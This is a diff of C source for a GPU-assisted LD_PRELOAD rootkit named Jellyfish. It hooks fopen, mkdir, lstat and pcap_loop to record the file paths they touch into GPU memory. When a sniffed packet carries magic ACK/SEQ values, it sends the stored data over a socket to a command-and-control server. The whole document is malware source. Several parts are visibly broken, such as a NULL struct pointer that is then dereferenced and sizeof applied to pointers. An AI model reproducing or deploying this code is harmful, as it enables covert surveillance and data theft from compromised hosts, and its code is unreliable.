1 | | - | /* |
| 1 | + | #define _GNU_SOURCE |
2 | 2 | | |
3 | | - | Copyright (C) 2015 Team Jellyfish |
4 | | - | |
5 | | - | This program is free software; you can redistribute it and/or |
6 | | - | modify it under the terms of the GNU General Public License |
7 | | - | as published by the Free Software Foundation; either version 2 |
8 | | - | of the License, or (at your option) any later version. |
9 | | - | |
10 | | - | This program is distributed in the hope that it will be useful, |
11 | | - | but WITHOUT ANY WARRANTY; without even the implied warranty of |
12 | | - | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
13 | | - | GNU General Public License for more details. |
14 | | - | |
15 | | - | */ |
| 3 | + | #include <stdio.h> |
| 4 | + | #include <string.h> |
| 5 | + | #include <stdlib.h> |
| 6 | + | #include <sys/socket.h> |
| 7 | + | #include <unistd.h> |
| 8 | + | #include <arpa/inet.h> |
| 9 | + | #include <netinet/tcp.h> |
| 10 | + | #include <netinet/in.h> |
| 11 | + | #include <netdb.h> |
| 12 | + | #include <dlfcn.h> |
16 | 13 | | |
17 | 14 | | #include "jelly.h" |
18 | 15 | | #include "kit.h" |
19 | | - | #include "pcap.h" |
20 | 16 | | #include "packet.h" |
| 17 | + | #include "pcap.h" |
| 18 | + | |
| 19 | + | const char *syscall_table[8] = {"fopen", "mkdir", "lstat", "lstat64", "creat", "execve", "open", "pcap_loop"}; |
21 | 20 | | |
22 | 21 | | // get gpu device |
23 | 22 | | cl_device_id create_device(){ |
| 23 | + | struct jellyfish *jelly = NULL; |
| 24 | + | |
24 | 25 | | // check platform |
25 | 26 | | err = clGetPlatformIDs(1, &jelly->platform, NULL); |
26 | 27 | | if(err < 0){ |
| skipped 10 lines |
37 | 38 | | } |
38 | 39 | | |
39 | 40 | | // compile kit.cl |
40 | | - | cl_program build_program(jelly->ctx, jelly->dev, const char *filename){ |
| 41 | + | cl_program build_program(cl_context ctx, cl_device_id dev, const char *filename){ |
| 42 | + | struct jellyfish *jelly = NULL; |
| 43 | + | |
41 | 44 | | FILE *program_handle; |
42 | 45 | | char *program_buf, *program_log; |
43 | 46 | | size_t program_size, log_size; |
| skipped 27 lines |
71 | 74 | | return jelly->program; |
72 | 75 | | } |
73 | 76 | | |
74 | | - | // context func |
75 | | - | cl_context create_ctx(const cl_device_id *dev){ |
76 | | - | jelly->ctx = clCreateContext(NULL, 1, &dev, NULL, NULL, &err); |
77 | | - | if(err < 0){ |
78 | | - | // do something |
| 77 | + | // It would probably just be better to xor in cpu but this is just example of using gpu to do things for us |
| 78 | + | void jelly_init(){ |
| 79 | + | struct jellyfish *jelly = NULL; |
| 80 | + | char *buf, *buf2, *buf3; |
| 81 | + | |
| 82 | + | int i; |
| 83 | + | for(i = 0; i < SYSCALL_SIZE; i++){ |
| 84 | + | jelly->dev = create_device(); |
| 85 | + | jelly->ctx = clCreateContext(NULL, 1, &jelly->dev, NULL, NULL, &err); |
| 86 | + | jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYXOR__); |
| 87 | + | |
| 88 | + | buf = (char *)malloc(strlen(syscall_table[i]) + 20); |
| 89 | + | buf2 = (char *)malloc(strlen(buf) + 1); |
| 90 | + | buf3 = (char *)malloc(strlen(buf2)); |
| 91 | + | |
| 92 | + | strcpy(buf, syscall_table[i]); |
| 93 | + | |
| 94 | + | // xor syscall in gpu |
| 95 | + | input = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf, &err); |
| 96 | + | local = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf2, &err); |
| 97 | + | group = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf3, &err); |
| 98 | + | |
| 99 | + | // host-device command queue |
| 100 | + | jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err); |
| 101 | + | |
| 102 | + | // gpu kernel thread |
| 103 | + | jelly->kernels[3] = clCreateKernel(jelly->program, jelly_xor, &err); |
| 104 | + | |
| 105 | + | // gpu kernel args |
| 106 | + | clSetKernelArg(jelly->kernels[3], 0, sizeof(cl_mem), &input); |
| 107 | + | clSetKernelArg(jelly->kernels[3], 1, sizeof(cl_mem), &local); |
| 108 | + | clSetKernelArg(jelly->kernels[3], 2, sizeof(cl_mem), &group); |
| 109 | + | |
| 110 | + | // host-device comm |
| 111 | + | clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[3], 1, NULL, &global_size, &local_size, 0, NULL, NULL); |
| 112 | + | |
| 113 | + | // read xor'ed syscall from gpu |
| 114 | + | clEnqueueReadBuffer(jelly->cq, group, CL_TRUE, 0, sizeof(buf3), buf3, 0, NULL, NULL); |
| 115 | + | |
| 116 | + | syscalls[i].syscall_func = dlsym(RTLD_NEXT, buf3); |
| 117 | + | |
| 118 | + | free(buf); |
| 119 | + | free(buf2); |
| 120 | + | free(buf3); |
| 121 | + | |
| 122 | + | clReleaseContext(jelly->ctx); |
| 123 | + | clReleaseProgram(jelly->program); |
| 124 | + | clReleaseMemObject(input); |
| 125 | + | clReleaseMemObject(local); |
| 126 | + | clReleaseMemObject(group); |
| 127 | + | clReleaseCommandQueue(jelly->cq); |
| 128 | + | clReleaseKernel(jelly->kernels[3]); |
| 129 | + | } |
| 130 | + | } |
| 131 | + | |
| 132 | + | static void limit_buf(char *buffer){ |
| 133 | + | if(sizeof(buffer) >= VRAM_LIMIT){ |
| 134 | + | buffer = "Buffer too big for GPU!"; |
79 | 135 | | } |
80 | 136 | | } |
81 | 137 | | |
| skipped 7 lines |
89 | 145 | | // calculate ip header offset |
90 | 146 | | ip = (struct sniff_ip*)(packet + SIZE_ETHERNET); |
91 | 147 | | size_ip = IP_HL(ip)*4; |
92 | | - | if(size_ip < 20){ |
93 | | - | // bad ip header |
94 | | - | } |
95 | 148 | | |
96 | | - | // check for tcp packet |
97 | 149 | | switch(ip->ip_p){ |
98 | 150 | | case IPPROTO_TCP: |
99 | | - | break; |
100 | | - | default: |
| 151 | + | break; |
| 152 | + | default: |
101 | 153 | | return; |
102 | 154 | | } |
103 | 155 | | |
104 | 156 | | // calculate tcp header offset |
105 | 157 | | tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip); |
106 | 158 | | size_tcp = TH_OFF(tcp)*4; |
107 | | - | if(size_tcp < 20){ |
108 | | - | // bad tcp header |
109 | | - | } |
110 | 159 | | |
111 | 160 | | ack = ntohl(tcp->th_ack); |
112 | 161 | | seq = ntohl(tcp->th_seq); |
113 | 162 | | |
114 | 163 | | if(ack == MAGIC_ACK && seq == MAGIC_SEQ){ |
115 | | - | correct_packet = TRUE; // bool global |
| 164 | + | correct_packet = 1; |
116 | 165 | | } else{ |
117 | | - | correct_packet = FALSE; |
| 166 | + | correct_packet = 0; |
118 | 167 | | } |
119 | 168 | | } |
120 | 169 | | |
| skipped 2 lines |
123 | 172 | | |
124 | 173 | | int sock = socket(AF_INET, SOCK_STREAM, 0); |
125 | 174 | | if(sock < 0){ |
126 | | - | // socket failed |
127 | | - | close(sock); |
| 175 | + | close(sock); |
128 | 176 | | } |
129 | 177 | | |
130 | 178 | | memset(&serv_addr, 0, sizeof(serv_addr)); |
| skipped 2 lines |
133 | 181 | | serv_addr.sin_port = htons(PORT); |
134 | 182 | | |
135 | 183 | | if(connect(sock,(struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){ |
136 | | - | // connection failed |
137 | | - | close(sock); |
| 184 | + | close(sock); |
138 | 185 | | } |
139 | 186 | | |
140 | 187 | | if(send(sock, buffer, strlen(buffer), 0) < 0){ |
141 | | - | // failed to send buffer |
142 | | - | close(sock); |
143 | | - | } |
144 | | - | } |
145 | | - | |
146 | | - | // gpu syscall xor ex. |
147 | | - | void jelly_init(){ |
148 | | - | int i; |
149 | | - | for(i = 0; i < SYSCALL_SIZE; i++){ |
150 | | - | jelly->dev = create_device(); |
151 | | - | jelly->ctx = create_ctx(&jelly->dev); |
152 | | - | jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYXOR__); |
153 | | - | |
154 | | - | strcpy(buffer, syscall_table[i]); |
155 | | - | |
156 | | - | /* stick it in the xor blender! */ |
157 | | - | |
158 | | - | input = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err); |
159 | | - | local = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
160 | | - | group = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
161 | | - | if(err < 0){ |
162 | | - | // buffer failed |
163 | | - | } |
164 | | - | |
165 | | - | // device command queue |
166 | | - | jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err); |
167 | | - | if(err < 0){ |
168 | | - | // queue failed |
169 | | - | } |
170 | | - | |
171 | | - | // gpu kernel thread |
172 | | - | jelly->kernels[7] = clCreateKernel(jelly->program, jelly_xor, &err); |
173 | | - | if(err < 0){ |
174 | | - | // gpu kernel failed |
175 | | - | } |
176 | | - | |
177 | | - | // gpu kernel args |
178 | | - | err = clSetKernelArg(jelly->kernels[7], 0, sizeof(cl_mem), &input); |
179 | | - | err |= clSetKernelArg(jelly->kernels[7], 1, sizeof(cl_mem), &local); |
180 | | - | err |= clSetKernelArg(jelly->kernels[7], 2, sizeof(cl_mem), &group); |
181 | | - | if(err < 0){ |
182 | | - | // args failed |
183 | | - | } |
184 | | - | |
185 | | - | // host-device comm |
186 | | - | err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[7], 1, NULL, &global_xor_size, &local_xor_size, 0, NULL, NULL); |
187 | | - | if(err < 0){ |
188 | | - | // enqueue failed |
189 | | - | } |
190 | | - | |
191 | | - | // read buf from gpu |
192 | | - | err = clEnqueueReadBuffer(jelly->cq, output, CL_TRUE, 0, sizeof(buffer3), buffer3, 0, NULL, NULL); |
193 | | - | if(err < 0){ |
194 | | - | // read buffer failed |
195 | | - | } else{ |
196 | | - | // xor'ed syscall example directly from gpu |
197 | | - | syscall[i].syscall_func = dlsym(RTLD_NEXT, buffer3); |
198 | | - | buffer3 = ""; |
199 | | - | buffer2 = ""; |
200 | | - | buffer = ""; |
201 | | - | } |
202 | | - | |
203 | | - | clReleaseContext(jelly->ctx); |
204 | | - | clReleaseProgram(jelly->program); |
205 | | - | clReleaseMemObject(input); |
206 | | - | clReleaseMemObject(local); |
207 | | - | clReleaseMemObject(group); |
208 | | - | clReleaseCommandQueue(jelly->cq); |
209 | | - | clReleaseKernel(jelly->kernels[7]); |
| 188 | + | close(sock); |
210 | 189 | | } |
211 | 190 | | } |
212 | 191 | | |
213 | | - | // gpu syscall xor data ex. |
214 | | - | static char *xor_data(char *buf){ |
215 | | - | jelly->dev = create_device(); |
216 | | - | jelly->ctx = create_ctx(&jelly->dev); |
217 | | - | jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYXOR__); |
218 | | - | |
219 | | - | input = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf, &err); |
220 | | - | local = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
221 | | - | group = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
| 192 | + | int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, unsigned char *user){ |
| 193 | + | jelly_init(); |
222 | 194 | | |
223 | | - | // device command queue |
224 | | - | jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err); |
225 | | - | if(err < 0){ |
226 | | - | // queue failed |
227 | | - | } |
228 | | - | |
229 | | - | // gpu kernel thread |
230 | | - | jelly->kernels[7] = clCreateKernel(jelly->program, jelly_xor, &err); |
231 | | - | if(err < 0){ |
232 | | - | // gpu kernel failed |
233 | | - | } |
234 | | - | |
235 | | - | // gpu kernel args |
236 | | - | err = clSetKernelArg(jelly->kernels[0], 0, sizeof(cl_mem), &log); |
237 | | - | err |= clSetKernelArg(jelly->kernels[0], 1, sizeof(cl_mem), &output); |
238 | | - | err |= clSetKernelArg(jelly->kernels[0], 2, sizeof(cl_mem), &storage); |
239 | | - | if(err < 0){ |
240 | | - | // args failed |
241 | | - | } |
242 | | - | |
243 | | - | // host-device comm |
244 | | - | err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[0], 1, NULL, &global_size, &local_size, 0, NULL, NULL); |
245 | | - | if(err < 0){ |
246 | | - | // enqueue failed |
247 | | - | } |
248 | | - | |
249 | | - | // read buf from gpu |
250 | | - | err = clEnqueueReadBuffer(jelly->cq, output, CL_TRUE, 0, sizeof(buffer3), buffer3, 0, NULL, NULL); |
251 | | - | if(err < 0){ |
252 | | - | // read buffer failed |
253 | | - | } else{ |
254 | | - | return buffer3; |
255 | | - | buffer2 = ""; |
256 | | - | buffer = ""; |
257 | | - | } |
| 195 | + | return (long)syscalls[SYS_PCAP_LOOP].syscall_func(p, cnt, got_packet, user); |
258 | 196 | | } |
259 | 197 | | |
260 | | - | static void limit_buf(char *buffer){ |
261 | | - | if(sizeof(buffer) >= VRAM_LIMIT){ |
262 | | - | buffer = "Buffer too big for GPU!"; |
263 | | - | } |
264 | | - | } |
265 | | - | |
266 | | - | /* Hook syscalls to gpu */ |
267 | | - | |
268 | 198 | | FILE *fopen(const char *path, const char *mode){ |
269 | | - | jelly_init(); |
| 199 | + | struct jellyfish *jelly = NULL; |
| 200 | + | char *buf, *buf2, *buf3; |
270 | 201 | | |
| 202 | + | jelly_init(); |
271 | 203 | | jelly->dev = create_device(); |
272 | | - | jelly->ctx = create_ctx(&jelly->dev); |
| 204 | + | jelly->ctx = clCreateContext(NULL, 1, &jelly->dev, NULL, NULL, &err); |
273 | 205 | | jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYFISH__); |
274 | 206 | | |
| 207 | + | buf = (char *)malloc(strlen(path) + 20); |
| 208 | + | buf2 = (char *)malloc(sizeof(buf) + 1); |
| 209 | + | buf3 = (char *)malloc(256); |
| 210 | + | |
275 | 211 | | // what we will store in gpu |
276 | | - | strcpy(buffer, "opened file: "); |
277 | | - | strcat(buffer, path); |
278 | | - | limit_buf(buffer); |
| 212 | + | strcpy(buf, "opened file: "); |
| 213 | + | strcat(buf, path); |
| 214 | + | limit_buf(buf); |
279 | 215 | | |
280 | | - | // buffer now encrypted |
281 | | - | char *xor_buffer = xor_data(buffer); |
| 216 | + | // gpu storage |
| 217 | + | logger = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf, &err); |
| 218 | + | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf2, &err); |
| 219 | + | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf3, &err); |
282 | 220 | | |
283 | | - | // encrypted gpu storage |
284 | | - | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), xor_buffer, &err); |
285 | | - | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
286 | | - | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
287 | | - | if(err < 0){ |
288 | | - | // buffer failed |
289 | | - | } |
290 | | - | |
291 | | - | // device command queue |
| 221 | + | // host-device command queue |
292 | 222 | | jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err); |
293 | | - | if(err < 0){ |
294 | | - | // queue failed |
295 | | - | } |
296 | 223 | | |
297 | 224 | | // gpu kernel thread |
298 | 225 | | jelly->kernels[0] = clCreateKernel(jelly->program, log_fopen, &err); |
299 | | - | if(err < 0){ |
300 | | - | // gpu kernel failed |
301 | | - | } |
302 | 226 | | |
303 | 227 | | // gpu kernel args |
304 | | - | err = clSetKernelArg(jelly->kernels[0], 0, sizeof(cl_mem), &log); |
305 | | - | err |= clSetKernelArg(jelly->kernels[0], 1, sizeof(cl_mem), &output); |
306 | | - | err |= clSetKernelArg(jelly->kernels[0], 2, sizeof(cl_mem), &storage); |
307 | | - | if(err < 0){ |
308 | | - | // args failed |
309 | | - | } |
| 228 | + | clSetKernelArg(jelly->kernels[0], 0, sizeof(cl_mem), &logger); |
| 229 | + | clSetKernelArg(jelly->kernels[0], 1, sizeof(cl_mem), &output); |
| 230 | + | clSetKernelArg(jelly->kernels[0], 2, sizeof(cl_mem), &storage); |
310 | 231 | | |
311 | 232 | | // host-device comm |
312 | | - | err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[0], 1, NULL, &global_size, &local_size, 0, NULL, NULL); |
313 | | - | if(err < 0){ |
314 | | - | // enqueue failed |
315 | | - | } |
| 233 | + | clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[0], 1, NULL, &global_size, &local_size, 0, NULL, NULL); |
316 | 234 | | |
317 | | - | // encrypted buffer is now inside gpu |
| 235 | + | // buffer now inside gpu |
318 | 236 | | |
319 | | - | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
| 237 | + | // if ack-seq match, dump gpu |
320 | 238 | | if(correct_packet){ |
321 | | - | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
322 | | - | if(err < 0){ |
323 | | - | // gpu buffer read failed |
324 | | - | } |
325 | | - | // unencrypt from server side later |
326 | | - | send_data(buffer); // send dumped data via socket to c&c |
327 | | - | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
| 239 | + | clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buf3), buf3, 0, NULL, NULL); |
| 240 | + | send_data(buf3); |
328 | 241 | | } |
329 | 242 | | |
330 | | - | // reset |
331 | | - | buffer3 = ""; |
332 | | - | buffer2 = ""; |
333 | | - | buffer = ""; |
| 243 | + | free(buf); |
| 244 | + | free(buf2); |
| 245 | + | free(buf3); |
334 | 246 | | |
335 | | - | // release gpu memory then start over when syscall is called again |
336 | | - | // we dont release storage object as it will continue to record data to gpu if attacker has not sent magic packet yet |
337 | | - | clReleaseMemObject(log); |
| 247 | + | clReleaseProgram(jelly->program); |
| 248 | + | clReleaseContext(jelly->ctx); |
| 249 | + | clReleaseKernel(jelly->kernels[0]); |
| 250 | + | clReleaseMemObject(logger); |
338 | 251 | | clReleaseMemObject(output); |
339 | 252 | | clReleaseCommandQueue(jelly->cq); |
340 | | - | clReleaseKernel(jelly->kernels[0]); |
341 | | - | clReleaseContext(jelly->ctx); |
342 | | - | clReleaseProgram(jelly->program); |
| 253 | + | clReleaseMemObject(storage); |
343 | 254 | | |
344 | | - | return syscall[SYS_FOPEN].syscall_func(path, mode); |
| 255 | + | return syscalls[SYS_FOPEN].syscall_func(path, mode); |
345 | 256 | | } |
346 | 257 | | |
347 | 258 | | int mkdir(int dfd, const char *pathname, const char *mode){ |
348 | | - | jelly_init(); |
349 | | - | |
350 | | - | jelly->dev = create_device(); |
351 | | - | jelly->ctx = create_ctx(&jelly->dev); |
352 | | - | jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYFISH__); |
353 | | - | |
354 | | - | strcpy(buffer, "made new directory: "); |
355 | | - | strcat(buffer, pathname); |
356 | | - | limit_buf(buffer); |
357 | | - | |
358 | | - | char *xor_buffer = xor_data(buffer); |
359 | | - | |
360 | | - | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), xor_buffer, &err); |
361 | | - | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
362 | | - | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
363 | | - | if(err < 0){ |
364 | | - | // buffer failed |
365 | | - | } |
366 | | - | |
367 | | - | // device command queue |
368 | | - | jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err); |
369 | | - | if(err < 0){ |
370 | | - | // queue failed |
371 | | - | } |
372 | | - | |
373 | | - | // gpu kernel thread |
374 | | - | jelly->kernels[1] = clCreateKernel(jelly->program, log_mkdir, &err); |
375 | | - | if(err < 0){ |
376 | | - | // gpu kernel failed |
377 | | - | } |
378 | | - | |
379 | | - | // gpu kernel args |
380 | | - | err = clSetKernelArg(jelly->kernels[1], 0, sizeof(cl_mem), &log); |
381 | | - | err |= clSetKernelArg(jelly->kernels[1], 1, sizeof(cl_mem), &output); |
382 | | - | err |= clSetKernelArg(jelly->kernels[1], 2, sizeof(cl_mem), &storage); |
383 | | - | if(err < 0){ |
384 | | - | // args failed |
385 | | - | } |
386 | | - | |
387 | | - | // host-device comm |
388 | | - | err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[1], 1, NULL, &global_size, &local_size, 0, NULL, NULL); |
389 | | - | if(err < 0){ |
390 | | - | // enqueue failed |
391 | | - | } |
392 | | - | |
393 | | - | // buffer is now inside gpu |
394 | | - | |
395 | | - | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
396 | | - | if(correct_packet){ |
397 | | - | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
398 | | - | if(err < 0){ |
399 | | - | // gpu buffer read failed |
400 | | - | } |
401 | | - | send_data(buffer); // send dumped data via socket to c&c |
402 | | - | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
403 | | - | } |
404 | | - | |
405 | | - | // reset |
406 | | - | buffer3 = ""; |
407 | | - | buffer2 = ""; |
408 | | - | buffer = ""; |
409 | | - | |
410 | | - | clReleaseMemObject(log); |
411 | | - | clReleaseMemObject(output); |
412 | | - | clReleaseCommandQueue(jelly->cq); |
413 | | - | clReleaseKernel(jelly->kernels[1]); |
414 | | - | clReleaseContext(jelly->ctx); |
415 | | - | clReleaseProgram(jelly->program); |
| 259 | + | struct jellyfish *jelly = NULL; |
| 260 | + | char *buf, *buf2, *buf3; |
416 | 261 | | |
417 | | - | return syscall[SYS_MKDIR].syscall_func(dfd, pathname, mode); |
418 | | - | } |
419 | | - | |
420 | | - | int lstat(const char *filename, struct stat *buf){ |
421 | 262 | | jelly_init(); |
422 | | - | |
423 | 263 | | jelly->dev = create_device(); |
424 | | - | jelly->ctx = create_ctx(&jelly->dev); |
| 264 | + | jelly->ctx = clCreateContext(NULL, 1, &jelly->dev, NULL, NULL, &err); |
425 | 265 | | jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYFISH__); |
426 | 266 | | |
427 | | - | strcpy(buffer, "file status on: "); |
428 | | - | strcat(buffer, filename); |
429 | | - | limit_buf(buffer); |
| 267 | + | buf = (char *)malloc(strlen(pathname) + 20); |
| 268 | + | buf2 = (char *)malloc(sizeof(buf) + 1); |
| 269 | + | buf3 = (char *)malloc(256); |
430 | 270 | | |
431 | | - | char *xor_buffer = xor_data(buffer); |
| 271 | + | // what we will store in gpu |
| 272 | + | strcpy(buf, "made new directory: "); |
| 273 | + | strcat(buf, pathname); |
| 274 | + | limit_buf(buf); |
432 | 275 | | |
433 | | - | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), xor_buffer, &err); |
434 | | - | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
435 | | - | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
436 | | - | if(err < 0){ |
437 | | - | // buffer failed |
438 | | - | } |
| 276 | + | // gpu storage |
| 277 | + | logger = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf, &err); |
| 278 | + | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf2, &err); |
| 279 | + | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buf3, &err); |
439 | 280 | | |
440 | | - | // device command queue |
| 281 | + | // host-device command queue |
441 | 282 | | jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err); |
442 | | - | if(err < 0){ |
443 | | - | // queue failed |
444 | | - | } |
445 | 283 | | |
446 | 284 | | // gpu kernel thread |
447 | | - | jelly->kernels[2] = clCreateKernel(jelly->program, log_lstat, &err); |
448 | | - | if(err < 0){ |
449 | | - | // gpu kernel failed |
450 | | - | } |
| 285 | + | jelly->kernels[1] = clCreateKernel(jelly->program, log_mkdir, &err); |
451 | 286 | | |
452 | 287 | | // gpu kernel args |
453 | | - | err = clSetKernelArg(jelly->kernels[2], 0, sizeof(cl_mem), &log); |
454 | | - | err |= clSetKernelArg(jelly->kernels[2], 1, sizeof(cl_mem), &output); |
455 | | - | err |= clSetKernelArg(jelly->kernels[2], 2, sizeof(cl_mem), &storage); |
456 | | - | if(err < 0){ |
457 | | - | // args failed |
458 | | - | } |
| 288 | + | clSetKernelArg(jelly->kernels[1], 0, sizeof(cl_mem), &logger); |
| 289 | + | clSetKernelArg(jelly->kernels[1], 1, sizeof(cl_mem), &output); |
| 290 | + | clSetKernelArg(jelly->kernels[1], 2, sizeof(cl_mem), &storage); |
459 | 291 | | |
460 | 292 | | // host-device comm |
461 | | - | err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[2], 1, NULL, &global_size, &local_size, 0, NULL, NULL); |
462 | | - | if(err < 0){ |
463 | | - | // enqueue failed |
464 | | - | } |
| 293 | + | clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[1], 1, NULL, &global_size, &local_size, 0, NULL, NULL); |
465 | 294 | | |
466 | | - | // buffer is now inside gpu |
| 295 | + | // buffer now inside gpu |
467 | 296 | | |
468 | | - | // if packet from server matches ack-seq keys, dump gpu data, else keep stuffing gpu with more |
| 297 | + | // if ack-seq match, dump gpu |
469 | 298 | | if(correct_packet){ |
470 | | - | err = clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buffer), buffer, 0, NULL, NULL); |
471 | | - | if(err < 0){ |
472 | | - | // gpu buffer read failed |
473 | | - | } |
474 | | - | send_data(buffer); // send dumped data via socket to c&c |
475 | | - | clReleaseMemObject(storage); // reset storage since attacker chose to dump |
| 299 | + | clEnqueueReadBuffer(jelly->cq, storage, CL_TRUE, 0, sizeof(buf3), buf3, 0, NULL, NULL); |
| 300 | + | send_data(buf3); |
476 | 301 | | } |
477 | 302 | | |
478 | | - | // reset |
479 | | - | buffer3 = ""; |
480 | | - | buffer2 = ""; |
481 | | - | buffer = ""; |
| 303 | + | free(buf); |
| 304 | + | free(buf2); |
| 305 | + | free(buf3); |
482 | 306 | | |
483 | | - | // release gpu memory then start over when syscall is called again |
484 | | - | // we dont release storage object as it will continue to record data to gpu if attacker has not sent magic packet yet |
485 | | - | clReleaseMemObject(log); |
486 | | - | clReleaseMemObject(output); |
487 | | - | clReleaseCommandQueue(jelly->cq); |
488 | | - | clReleaseKernel(jelly->kernels[2]); |
489 | | - | clReleaseContext(jelly->ctx); |
490 | 307 | | clReleaseProgram(jelly->program); |
491 | | - | |
492 | | - | return syscall[SYS_LSTAT].syscall_func(filename, buf); |
493 | | - | } |
494 | | - | |
495 | | - | int lstat64(const char *filename, struct stat64 *buf){ |
496 | | - | jelly_init(); |
497 | | - | |
498 | | - | jelly->dev = create_device(); |
499 | | - | jelly->ctx = create_ctx(&jelly->dev); |
500 | | - | jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYFISH__); |
501 | | - | |
502 | | - | strcpy(buffer, "file status on: "); |
503 | | - | strcat(buffer, filename); |
504 | | - | limit_buf(buffer); |
505 | | - | |
506 | | - | char *xor_buffer = xor_data(buffer); |
507 | | - | |
508 | | - | log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), xor_buffer, &err); |
509 | | - | output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); |
510 | | - | storage = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err); |
511 | | - | if(err < 0){ |
512 | | - | // buffer failed |
513 | | - | } |
514 | | - | |
515 | | - | // device command queue |
516 | | - | jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, 0, &err); |
517 | | - | if(err < 0){ |
518 | | - | // queue failed |
519 | | - | } |
